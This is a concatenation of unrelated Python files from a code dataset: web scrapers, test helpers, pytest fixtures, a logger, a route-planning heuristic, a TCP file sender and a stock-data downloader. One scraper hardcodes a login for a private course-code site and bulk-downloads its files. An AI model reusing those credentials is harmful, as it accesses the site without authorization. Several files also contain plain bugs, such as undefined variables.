re.sub(\"/twoforfashion.*\", \"\", link)\n link = re.sub(\"/roombeez.*\", \"\", link)\n link = re.sub(\"/soulfully.*\", \"\", link)\n link = re.sub(\"/supermarkt.*\", \"\", link)\n link = re.sub(\"/datenschutz.*\", \"\", link)\n link = re.sub(\"https.*\", \"\", link)\n link = re.sub(\"#SVGID.*\", \"\", link)\n link = re.sub(\" \", \"\", link)\n link = re.sub(\"/=\\(.*\", \"\", link)\n link = \"https://otto.de\" + link\n\n print(link)\n # Write to file\n new_urls.write(link + \"\\n\")\n # Close to file\n new_urls.close()\n\n#\n# Main Function\n#\ndef run():\n\n out()\n choice = str(input(\"Which option number : \"))\n\n if choice == '1':\n\n sec = \"multimedia\"\n url = \"https://www.otto.de/technik/multimedia/\"\n grab(url, sec)\n\n elif choice == '2':\n sec = \"haushalt\"\n url = \"https://www.otto.de/haushalt/\"\n grab(url, sec)\n\n elif choice == '3':\n sec = kueche\n url = \"https://www.otto.de/moebel/?ansicht=einstieg&thema=kueche\"\n grab(url, sec)\n\n# TO BE CONTINUED ...\n\nout()\nrun()", "sub_path": "grab_new_urls.py", "file_name": "grab_new_urls.py", "file_ext": "py", "file_size_in_byte": 3870, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "subprocess.call", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 59, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 60, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 63, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 67, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 69, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 74, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 78, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 79, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 80, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 81, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 82, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 83, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 84, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 85, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 86, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 87, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 88, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 89, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 90, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 91, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 92, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 93, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 94, "usage_type": "call"}]} {"seq_id": "253505034", "text": "import unittest\nfrom itertools import zip_longest\n\n\nclass TestRecursive(unittest.TestCase):\n def assertEqualRecursive(self, first, second):\n \"\"\"\n Asserts that two nested JSON-like structures consisting of dictionaries and lists are fully equal.\n\n >>> TestRecursive().assertEqualRecursive({1: [{'a': 2}, 'b']}, {1: [{'a': 3}, 'b']})\n Traceback (most recent call last):\n ...\n AssertionError: 1 error:\n Values differ: 2 != 3 at [1][0][a]\n\n \"\"\"\n paths = self._check_equal_recursive(first, second)\n if paths:\n msg = '{} error{}:\\n'.format(len(paths), 's' if len(paths) > 1 else '') + '\\n'.join(paths)\n raise self.failureException(msg)\n\n def _check_equal_recursive(self, first, second, *path_so_far):\n diffs = []\n if isinstance(first, list) and isinstance(second, list):\n for i, (f, s) in enumerate(zip_longest(first, second)):\n diffs.extend(\n self._check_equal_recursive(f, s, str(i), *path_so_far)\n )\n return diffs\n\n joined_path = ']['.join(str(i) for i in reversed(path_so_far))\n if isinstance(first, dict) and isinstance(second, dict):\n keys1 = first.keys()\n keys2 = second.keys()\n for k in keys1 - keys2:\n diffs.append('`{k}: {v}` not found in second object at [{path}] '.format(\n path=joined_path,\n k=k,\n v=first[k]\n ))\n for k in keys2 - keys1:\n diffs.append('`{k}: {v}` not found in first object at [{path}] '.format(\n path=joined_path,\n k=k,\n v=second[k]\n ))\n for k in keys1 & keys2:\n diffs.extend(\n self._check_equal_recursive(first[k], second[k], k, *path_so_far)\n )\n elif not first == second:\n # If one is still a dict or list, don't display (since it might be large),\n # and don't str() since it's a json type\n if {type(first), type(second)} & {dict, list}:\n diffs.append('Types differ: {first} != {second} at [{path}]'.format(\n path=joined_path,\n first=type(first),\n second=type(second)\n ))\n # Also don't compare other json types as strings\n elif {type(first), type(second)} & {int, float, bool, type(None)} or \\\n not str(first) == str(second):\n diffs.append('Values differ: {first} != {second} at [{path}]'.format(\n path=joined_path,\n first=first,\n second=second\n ))\n\n return diffs\n", "sub_path": "assert_equal_recursive.py", "file_name": "assert_equal_recursive.py", "file_ext": "py", "file_size_in_byte": 2827, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "unittest.TestCase", "line_number": 5, "usage_type": "attribute"}, {"api_name": "itertools.zip_longest", "line_number": 25, "usage_type": "call"}]} {"seq_id": "48939064", "text": "import pytest\n\nfrom mirakuru import TCPExecutor\n\n\n@pytest.fixture\ndef use_local_matrix_server():\n \"\"\"\n If True, try to test with a real client and start a fresh local\n matrix server for each test. This should be used for integration\n tests only.\n If False, use the mock matrix client.\n \"\"\"\n return False\n\n\n# the empty fixtures are overwritten in integration/conftest.py\n@pytest.fixture\ndef local_matrix():\n return None\n\n\n@pytest.fixture\ndef matrix_host():\n return None\n\n\n@pytest.fixture\ndef matrix_port():\n return None\n\n\n@pytest.fixture\ndef local_matrix_server(\n use_matrix,\n use_local_matrix_server,\n local_matrix,\n matrix_host,\n matrix_port\n):\n\n if not (use_matrix and use_local_matrix_server):\n yield None\n return\n\n assert local_matrix is not None, \\\n \"No command to start the local matrix server given. (--local-matrix option)\"\n\n server = TCPExecutor(\n local_matrix,\n host=matrix_host,\n port=matrix_port,\n timeout=120,\n sleep=0.1,\n shell=True\n )\n\n server.start()\n yield 'http://{}:{}'.format(matrix_host, matrix_port)\n server.stop()\n", "sub_path": "raiden/tests/integration/fixtures/matrix.py", "file_name": "matrix.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pytest.fixture", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 28, "usage_type": "attribute"}, {"api_name": "mirakuru.TCPExecutor", "line_number": 49, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 33, "usage_type": "attribute"}]} {"seq_id": "416749714", "text": "import sys\nimport logging\n\nAPP_LOGGER_NAME = 'snappi_ixnetwork'\n\n\ndef setup_ixnet_logger(log_level, file_name=None, module_name=None):\n logger = logging.getLogger(APP_LOGGER_NAME)\n logger.setLevel(log_level)\n formatter = logging.Formatter(fmt=\"%(asctime)s [%(name)s] [%(levelname)s] %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n sh = logging.StreamHandler(sys.stdout)\n sh.setFormatter(formatter)\n if len(logger.handlers) > 0:\n del logger.handlers[:]\n logger.addHandler(sh)\n if file_name:\n fh = logging.FileHandler(file_name)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n if module_name is not None:\n logger = get_ixnet_logger(module_name)\n return logger\n\n\ndef get_ixnet_logger(module_name):\n module_name = \".\".join(str(module_name).split(\".\")[1:])\n return logging.getLogger(APP_LOGGER_NAME).getChild(module_name)", "sub_path": "snappi_ixnetwork/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 921, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 28, "usage_type": "call"}]} {"seq_id": "417544344", "text": "# -*- coding: UTF-8 -*-\nimport networkx as nx\nimport random\nimport copy\nimport os\nimport BigPoint\nimport time\n\n# 3条最优路径,且同时产生\n# 在slack允许的情况下找等待时间最长的点进行插入\n# 对待插入的点，随机选择一天插入\n# 对每一条数据进行测试\n# Super-POI的值如果小于1000的话，增大10倍。如果原始值为0，那么设置为5000\n\ndef createGraph(myGraph, fileName):\n categoryMap = {1:70, 2:40, 3:20, 4:10, 5:5}\n\n file = open(fileName)\n # 略过两行注释\n file.readline()\n file.readline()\n lists = file.readline().strip().split(';')\n # print(lists)\n G.graph['nb_nodes'] = int(lists[0])\n G.graph['RouteMaxDuration'] = int(lists[1])\n G.graph['TotalMaxDuration'] = int(lists[2])\n print(G.graph)\n\n # 略过两行注释\n file.readline()\n file.readline()\n for i in range(G.graph['nb_nodes']):\n lists = file.readline().strip().split(';')\n node = int(lists[0])\n G.add_node(node)\n G.nodes[node]['ID'] = node\n G.nodes[node]['ServiceTime'] = categoryMap[int(lists[1])]\n G.nodes[node]['Priority'] = int(lists[2])\n G.nodes[node]['Profit'] = int(lists[3])\n G.nodes[node]['Probability'] = float(lists[4])\n if int(lists[1] == 1):\n if tmpP <= 0:\n tmpP = 5000\n if tmpP < 1000:\n tmpP = tmpP * 10\n G.nodes[node]['Profit'] = tmpP\n TWS = lists[5].split(',')\n # for TW in TWS:\n timeWindows = [{} for _ in range(4)]\n for TW in TWS:\n window = {}\n params = TW.split(':')\n window['day'] = int(params[0])\n window['opentime'] = int(params[1].split('-')[0])\n window['closetime'] = int(params[1].split('-')[1])\n index = int(params[0])\n if timeWindows[index].get('day', False) == False:\n timeWindows[index] = window\n else:\n timeWindows[index]['closetime'] = window['opentime']\n for index, TW in enumerate(timeWindows):\n if TW == {}:\n opentime = random.randrange(0, 600)\n closetime = random.randrange(0, 600)\n if opentime > closetime:\n opentime, closetime = closetime, opentime\n while closetime - opentime < 200:\n opentime = random.randrange(0, 600)\n closetime = random.randrange(0, 600)\n if opentime > closetime:\n opentime, closetime = closetime, opentime\n TW['day'] = index\n TW['opentime'] = opentime\n TW['closetime'] = closetime\n G.nodes[node]['TimeWindows'] = tuple(timeWindows[:])\n # print(G.nodes.data()) \n \n # 略过两行注释\n file.readline()\n file.readline()\n arcs = file.readlines()\n for line in arcs:\n lists = line.strip().split(';')\n s = int(lists[0]); t = int(lists[1]); duration = int(lists[2])\n G.add_edge(s, t)\n G.edges[s, t]['duration'] = duration\n # print(G.edges.data())\n \n file.close()\n\ndef isCompleteGraph(G):\n nodeNum = len(G.nodes)\n edgeNum = len(G.edges)\n print(nodeNum * (nodeNum - 1) / 2)\n print(edgeNum)\n\ndef calcuSlack(myGraph, travelPath, node, insertLocation, timeParamDict):\n # 插入到insertLocation之前\n travelPath.insert(insertLocation, {'ID':node['ID']})\n travelPath[insertLocation]['aTime'] = timeParamDict['arriveTimeToCandiNode']\n travelPath[insertLocation]['dTime'] = timeParamDict['deparTimeOnCandiNode']\n travelPath[insertLocation]['closetime'] = node['TimeWindows'][timeParamDict['day']]['closetime']\n preComponentID = node['ID']\n nextComponentID = -1\n\n # 对插入点之后的点进行时间更新\n for index, pathComponent in enumerate(travelPath[insertLocation+1:]):\n # !!!注意index的值!!!\n index = index + insertLocation + 1\n\n nextComponentID = pathComponent['ID']\n duration = myGraph.edges[preComponentID, nextComponentID]['duration']\n arriveToNextComponent = travelPath[index-1]['dTime'] + duration\n window = myGraph.nodes[nextComponentID]['TimeWindows'][timeParamDict['day']]\n deparTimeOnNextComponent = max(arriveToNextComponent, window['opentime']) + myGraph.nodes[nextComponentID]['ServiceTime']\n travelPath[index]['aTime'] = arriveToNextComponent\n travelPath[index]['dTime'] = deparTimeOnNextComponent\n travelPath[index]['closetime'] = window['closetime']\n preComponentID = nextComponentID\n\n # 计算终点的slack值\n tmpSlack = travelPath[-1]['slack'] = myGraph.graph['RouteMaxDuration'] - travelPath[-1]['aTime']\n totalSlack = tmpSlack\n # 全体slack更新\n travelPath[0]['closetime'] = 10000000\n for pathComponent in travelPath[-2::-1]:\n pathComponent['slack'] = min(pathComponent['closetime']-pathComponent['dTime'], tmpSlack) \n tmpSlack = pathComponent['slack']\n totalSlack = totalSlack + tmpSlack\n\n return totalSlack, travelPath\n\n# 从头重新计算各自的时间\ndef calcuSlack2(myGraph, travelPath, node, insertLocation, timeParamDict):\n # 插入到insertLocation之前\n travelPath.insert(insertLocation, {'ID':node['ID']})\n # travelPath[insertLocation]['aTime'] = timeParamDict['arriveTimeToCandiNode']\n # travelPath[insertLocation]['dTime'] = timeParamDict['deparTimeOnCandiNode']\n # travelPath[insertLocation]['closetime'] = node['TimeWindows'][timeParamDict['day']]['closetime']\n preComponentID = travelPath[0]['ID']\n nextComponentID = -1\n\n\n\n # 对插入点之后的点进行时间更新\n for index, pathComponent in enumerate(travelPath[1:]):\n # !!!注意index的值!!!\n index = index + 1\n\n nextComponentID = pathComponent['ID']\n duration = myGraph.edges[preComponentID, nextComponentID]['duration']\n # if index == 1:\n # print(travelPath[index-1]['dTime'], duration)\n arriveToNextComponent = travelPath[index-1]['dTime'] + duration\n window = myGraph.nodes[nextComponentID]['TimeWindows'][timeParamDict['day']]\n deparTimeOnNextComponent = max(arriveToNextComponent, window['opentime']) + myGraph.nodes[nextComponentID]['ServiceTime']\n travelPath[index]['aTime'] = arriveToNextComponent\n travelPath[index]['dTime'] = deparTimeOnNextComponent\n travelPath[index]['closetime'] = window['closetime']\n travelPath[index]['waitTime'] = window['opentime'] - arriveToNextComponent\n if travelPath[index]['waitTime'] < 0:\n travelPath[index]['waitTime'] = 0\n preComponentID = nextComponentID\n\n # 计算终点的slack值\n tmpSlack = travelPath[-1]['slack'] = myGraph.graph['RouteMaxDuration'] - travelPath[-1]['aTime']\n totalSlack = tmpSlack\n # 全体slack更新\n travelPath[0]['closetime'] = 10000000\n for pathComponent in travelPath[-2::-1]:\n # print(pathComponent)\n pathComponent['slack'] = min(pathComponent['closetime'] - pathComponent['dTime'], tmpSlack) \n tmpSlack = pathComponent['slack']\n totalSlack = totalSlack + tmpSlack\n\n return totalSlack, travelPath\n\ndef toptw(startDestList, myGraph, bigPointDir):\n \n # 用来记录加入到路径中的点\n existList = []\n\n routeMaxDuration = myGraph.graph['RouteMaxDuration']\n threeDayPath = []\n threeDayProfitList = [0, 0, 0]\n threeDayBestRatioList = [-1, -1, -1]\n for i, val in enumerate(startDestList):\n s = val['s']\n t = val['t']\n existList.append(s)\n existList.append(t)\n tP = [{'ID':s}, {'ID':t}]\n duration = myGraph.edges[s, t]['duration']\n startSlack = 0\n destSlack = routeMaxDuration - duration\n tP[0]['slack'] = startSlack\n tP[0]['aTime'] = 0\n tP[0]['dTime'] = 0\n tP[0]['waitTime'] = 0\n tP[1]['slack'] = destSlack\n tP[1]['aTime'] = duration\n tP[1]['dTime'] = duration\n # 终点的等待时间，如何确定呢\n tP[1]['waitTime'] = myGraph.nodes[t]['TimeWindows'][i+1]['opentime'] - duration\n if tP[1]['waitTime'] < 0:\n tP[1]['waitTime'] = 40\n threeDayPath.append(tP)\n\n\n finish = False\n while finish == False:\n finish = True\n # top-k最优路径\n # k = 5\n # bestKPath = []\n # bestKRatio = []\n # bestKProfit = []\n # bestKNodeId = []\n # 寻找一个合适点进行插入\n for data in myGraph.nodes.data():\n node = data[1]\n if node['ID'] in existList:\n continue\n \n threeDayRatioList = [-1, -1, -1]\n threeDayTmpPathList = [[] for i in range(3)]\n threeDayTmpProfitList = [x for x in threeDayProfitList]\n\n # 遍历三条路径，选择一条最适合的插入这个点\n for day, travelPath in enumerate(threeDayPath):\n day = day + 1\n # 找一个最匹配的slack插入到它前边\n bestMatch = -1\n tmpWaitTime = -1\n gapTime = 10000000\n for index, _ in enumerate(travelPath[1:]):\n # index值是阶段后的列表中的索引值\n index = index + 1\n preComponent = travelPath[index-1]\n preToCandiNodeDuration = myGraph.edges[preComponent['ID'], node['ID']]['duration']\n arriveTimeToCandiNode = preComponent['dTime'] + preToCandiNodeDuration\n if (arriveTimeToCandiNode > routeMaxDuration \n or max(arriveTimeToCandiNode, node['TimeWindows'][day]['opentime']) + node['ServiceTime'] > routeMaxDuration \n or node['TimeWindows'][day]['closetime'] - arriveTimeToCandiNode < node['ServiceTime']):\n break\n \n deparTimeOnCandiNode = max(arriveTimeToCandiNode, node['TimeWindows'][day]['opentime']) + node['ServiceTime']\n curComponent = travelPath[index]\n candiNodeToCurNodeDuration = myGraph.edges[node['ID'], curComponent['ID']]['duration']\n arriveTimeToCurNode = deparTimeOnCandiNode + candiNodeToCurNodeDuration\n # 由于插入这个点增加的时间\n # t1为加入的点带来的时间duraion，t2为原先的pre到cur的duration\n t1 = arriveTimeToCurNode - preComponent['dTime']\n t2 = curComponent['aTime'] - preComponent['dTime']\n deltaTime = t1 - t2\n # 在slack允许的情况下找等待时间最长的点进行插入\n curGapTime = curComponent['slack'] - deltaTime\n if curGapTime < 0:\n continue\n if travelPath[index]['waitTime'] > tmpWaitTime:\n bestMatch = index\n tmpWaitTime = travelPath[index]['waitTime']\n\n # # 更新当前的间隔值\n # if curGapTime < gapTime:\n # gapTime = curGapTime\n # bestMatch = index\n\n \n # 没有合适的插入点\n if bestMatch == -1:\n continue\n\n # 计算插入后的总收益与slack的比值\n tmpTotalProfit = threeDayProfitList[day-1] + node['Profit']\n tmpTravelPath = [copy.copy(x) for x in travelPath]\n timeParamDict = {\n 'arriveTimeToCandiNode':arriveTimeToCandiNode, \n 'deparTimeOnCandiNode':deparTimeOnCandiNode, \n 'arriveTimeToCurNode':arriveTimeToCurNode,\n 'day':day\n }\n tmpTotalSlack, tmpTravelPath = calcuSlack2(myGraph, tmpTravelPath, node, bestMatch, timeParamDict)\n if float(tmpTotalSlack) == 0:\n continue\n ratio = float(tmpTotalProfit) / float(tmpTotalSlack)\n threeDayRatioList[day-1] = ratio\n threeDayTmpPathList[day-1] = [copy.copy(x) for x in tmpTravelPath]\n threeDayTmpProfitList[day-1] = tmpTotalProfit\n\n # 随机选择一天进行插入\n accept = False\n \n dieTime = 0\n while accept == False:\n randomDay = random.randrange(0, 3)\n if threeDayRatioList[randomDay] > threeDayBestRatioList[randomDay]:\n threeDayBestRatioList[randomDay] = threeDayRatioList[randomDay]\n threeDayPath[randomDay] = [copy.copy(x) for x in threeDayTmpPathList[randomDay]]\n threeDayProfitList[randomDay] = threeDayTmpProfitList[randomDay]\n accept = True\n dieTime = dieTime + 1\n if dieTime > 15:\n break\n\n # 取threeDayRatioList中最大值的那条路就是要插入的路径\n # accept = False\n # for i in range(3):\n # if accept == False:\n # bestRatio = max(threeDayRatioList)\n # whichDay = threeDayRatioList.index(bestRatio)\n # if bestRatio > threeDayBestRatioList[whichDay]:\n # threeDayBestRatioList[whichDay] = bestRatio\n # threeDayPath[whichDay] = [copy.copy(x) for x in threeDayTmpPathList[whichDay]]\n # threeDayProfitList[whichDay] = threeDayTmpProfitList[whichDay]\n # accept = True\n # threeDayRatioList[whichDay] = -5\n\n if accept == True:\n existList.append(node['ID'])\n finish = False\n\n profitSum = sum(threeDayProfitList)\n bigPointPaths = os.listdir(bigPointDir)\n for day, path in enumerate(threeDayPath):\n print(path)\n for component in path:\n if str(component['ID']) in bigPointPaths:\n smallG = nx.read_gml(bigPointDir + '\\\\' + str(component['ID']))\n smallG = nx.convert_node_labels_to_integers(smallG)\n tmpP = BigPoint.dfsTraverse(smallG, component['aTime'] + component['waitTime'], component['dTime'], day+1) \n profitSum = profitSum + tmpP\n profitSum = profitSum - myGraph.nodes[component['ID']]['Profit']\n print()\n print('total profit:', profitSum)\n\n \n # # 检查当前点是否可以插入到bestKPath中 \n # # 当前的ratio比存储的k条路径中的最差路径好\n # if len(bestKRatio) < k:\n # bestKPath.append([copy.copy(x) for x in tmpTravelPath]) \n # bestKRatio.append(ratio)\n # bestKProfit.append(tmpTotalProfit)\n # bestKNodeId.append(node['ID'])\n # # 代表还有比较好的点\n # finish = False\n # elif ratio > min(bestKRatio):\n # index = bestKRatio.index(min(bestKRatio))\n # del bestKPath[index]\n # del bestKRatio[index] \n # del bestKNodeId[index]\n # del bestKProfit[index]\n # bestKPath.append([copy.copy(x) for x in tmpTravelPath]) \n # bestKRatio.append(ratio)\n # bestKProfit.append(tmpTotalProfit)\n # bestKNodeId.append(node['ID'])\n # # 代表还有比较好的点\n # finish = False\n \n # # 从k个候选者中随机挑出一个插入,\n # # ！！！！！注意k个候选者没有选满的情况啊啊啊啊啊啊啊啊啊啊\n # # 更新路径travelPath\n # length = min(k, len(bestKPath))\n # if length == 0:\n # continue\n # selectNode = random.randrange(0, length)\n # travelPath = [copy.copy(x) for x in bestKPath[selectNode]]\n # bestRatio = bestKRatio[selectNode]\n # totalProfit = bestKProfit[selectNode]\n # existList.append(bestKNodeId[selectNode])\n # # print(travelPath)\n # return travelPath;\n \n# os.chdir('instances')\n# fileList = os.listdir('.')\n# for f in fileList:\n# if os.path.isfile(f):\n# G = nx.Graph()\n# createGraph(G, f)\n# ll = random.sample(G.nodes, 6)\n# # print(ll)\n# startDestList = [{'s':ll[0],'t':ll[1]}, {'s':ll[2],'t':ll[3]}, {'s':ll[4],'t':ll[5]}]\n# # print(startDestList)\n# toptw(startDestList, G, f.split('.')[0])\n\nf = 'd:\\PythonCode\\TOPTW\\instances\\TPA_6_40-3.txt'\nG = nx.Graph()\ncreateGraph(G, f)\nll = random.sample(G.nodes, 6)\n# print(ll)\nstartDestList = [{'s':ll[0],'t':ll[1]}, {'s':ll[2],'t':ll[3]}, {'s':ll[4],'t':ll[5]}]\n# print(startDestList)\nt1 = time.time()\ntoptw(startDestList, G, f.split('.')[0])\nt2 = time.time()\nprint('time:', t2 - t1)", "sub_path": "code6.py", "file_name": "code6.py", "file_ext": "py", "file_size_in_byte": 17012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "random.randrange", "line_number": 63, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 64, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 68, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 69, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 276, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 288, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 296, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 299, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 324, "usage_type": "call"}, {"api_name": "networkx.read_gml", "line_number": 329, "usage_type": "call"}, {"api_name": "networkx.convert_node_labels_to_integers", "line_number": 330, "usage_type": "call"}, {"api_name": "BigPoint.dfsTraverse", "line_number": 331, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 387, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 389, "usage_type": "call"}, {"api_name": "time.time", "line_number": 393, "usage_type": "call"}, {"api_name": "time.time", "line_number": 395, "usage_type": "call"}]} {"seq_id": "130625530", "text": "\nimport os\nimport requests\nfrom fake_useragent import UserAgent\nfrom lxml import etree\nfrom urllib import request\n# tarenacode\n# code_2013\n# http://code.tarena.com.cn/AIDCode/aid1907/11-Ajax/\n\nFILEPATH = './mynote'\n\nclass TarenaCode:\n def __init__(self):\n self.url = 'http://code.tarena.com.cn/AIDCode/aid1907/11-Ajax/' \n self.auth = ('tarenacode','code_2013')\n self.headers = {\n 'User-Agent': UserAgent().random\n }\n\n def parse_html(self):\n \"\"\"解析网页\"\"\"\n html = self.get_html()\n text = etree.HTML(html)\n a_list = text.xpath('//a/@href') \n # ['day01/','day02/','mytest.zip']\n print(a_list)\n myfile = [ i for i in a_list if '/' not in i]\n print(myfile)\n self.save_file(myfile)\n\n\n def get_html(self):\n \"\"\"下载网页\"\"\"\n try:\n response = requests.get(\n url=self.url,\n auth=self.auth,\n headers = self.headers\n )\n except Exception as e:\n print('[error]:',e)\n else:\n return response.text\n\n def save_file(self,files):\n \"\"\"保存文件\"\"\"\n if not os.path.exists(FILEPATH):\n os.makedirs('mynote')\n for each_file in files:\n file_url = self.url + each_file \n binary_file = requests.get(file_url,auth=self.auth,headers=self.headers).content\n with open(FILEPATH+'/'+each_file,'wb') as f:\n f.write(binary_file)\n print(each_file,'下载成功！')\n\n\n def main(self):\n \"\"\"主方法，用来启动爬虫\"\"\"\n self.parse_html()\n\nif __name__ == \"__main__\":\n tc = TarenaCode()\n tc.main()\n\n\n\"\"\"\n<a href=\"day01/\">day01/</a> 28-Oct-2019 21:27 -\n<a href=\"day02/\">day02/</a> 28-Oct-2019 21:27 -\n<a href=\"day03/\">day03/</a> 29-Oct-2019 17:26 -\n<a href=\"practice/\">practice/</a> 30-Oct-2019 18:17 -\n<a href=\"day01-note.zip\">day01-note.zip</a> 24-Oct-2019 23:57 499K\n<a href=\"day03-note.zip\">day03-note.zip</a> 28-Oct-2019 22:38 343K\n<a href=\"day03_all.zip\">day03_all.zip</a> \n\n\"\"\"\n# <a href=\"(.*?)\">(.*?)</a>", "sub_path": "sp/day08/04_request_auth2.py", "file_name": "04_request_auth2.py", "file_ext": "py", "file_size_in_byte": 2407, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "fake_useragent.UserAgent", "line_number": 18, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 24, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 24, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 52, "usage_type": "call"}]} {"seq_id": "321058268", "text": "#!/usr/bin/env python3\n\nimport socket # Needed for socket creation\nimport ntplib # Needed for NCP time (syncronize the time between source and destination)\nimport sys\t # Needed library\nfrom datetime import datetime # Needed for NCP time\n\n# GENERAL DESCRIPTION OF THE SCRIPT\n# According to our design, since there is a TCP connection between source and broker,\n# reliable data transfer exists. So from source to broker, TCP is used.\n# This script first creates and connects to broker with a socket, then starts to read\n# the related 5 MB file (input.txt) 1024 bytes per segment and sends to the broker.\n# At the end of the file, file is closed and \"Closed\" is printed for tracking purposes.\n# When this script is run and finished, there suppose to be an inout.txt file at the \n# broker, sent by source. As soon as broker receives the file, it will start to transfer \n# the data with reliable UDP implemented by us. (more detailed explanation in broker.py) \n\n# GLOBAL variables\nHOST = '10.10.1.2' # Broker's IP adress (used to send the file)\nPORT = 31336 # PORT used for file transfer from source to broker (TCP)\ninput_file = ''\t\t# Initialize the input file name (to read input.txt)\ninput_message = []\t# Initialize the message, (segment by segment, this will be updated)\n\nif __name__ == \"__main__\":\n input_file = sys.argv[1] # Get the input file as argument.\n\n # Below three lines are used to get time from time.google.com, for tracking purposes\n c = ntplib.NTPClient()\n response = c.request('time.google.com', version=3)\n time = datetime.fromtimestamp(response.orig_time)\n\n print(time) #Print current time (Used to compare with destination time)\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Create socket (which will be used to connect to the broker)\n s.connect((HOST, PORT)) # Connect to the broker\n\n # sys.stdout.flush() # calculate input file size\n\n inp = open('input.txt','rb') \t# Open the input.txt file to start reading and sending.\n input_message = inp.read(1024)\t# Send the message as 1024 bytes segments.\n print(\"Sending...\")\t\t\t\t# Print for tracking purposes\n\n # This while loop sends the file as 1024 bytes segment untill reaching the end of file.\n while (input_message):\t\t\t\t# Will be over when input message is NULL (eof)\n s.sendall(input_message) \t\t# Send the segment\n input_message = inp.read(1024)\t# Read next 1024 from input.txt\n\n inp.close() \t# Close the file\n", "sub_path": "Tp_part2_02/source.py", "file_name": "source.py", "file_ext": "py", "file_size_in_byte": 2456, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.argv", "line_number": 25, "usage_type": "attribute"}, {"api_name": "ntplib.NTPClient", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 34, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 34, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 34, "usage_type": "attribute"}]} {"seq_id": "274630284", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n###\n###This file pulls from yahoo finance minute data for last 30 days\n###and puts into MarketData folder in daily increments\n###\nfrom pandas_datareader import data as pdr\nimport datetime as dt\nimport yfinance as yf\nimport os\n\nyf.pdr_override()\ntoday = dt.date.today()\n\n\nsymbols =['AAPL', 'SPY', 'NVDA', 'SPCE', 'CPRX', 'BABA', 'AMZN',\n 'GOOGL', 'MSFT', 'PTON','NKE','PYPL','LULU','TSM']\n\n###makes path for every symbol if it does not exist\n\nfor i in symbols:\n if not os.path.exists('MarketData/'+i):\n os.makedirs('MarketData/'+i)\n \n###pulls data from yahoo finance from last 30 days that does not exist\nfor i in symbols:\n day = dt.date.today()\n yesterday = day - 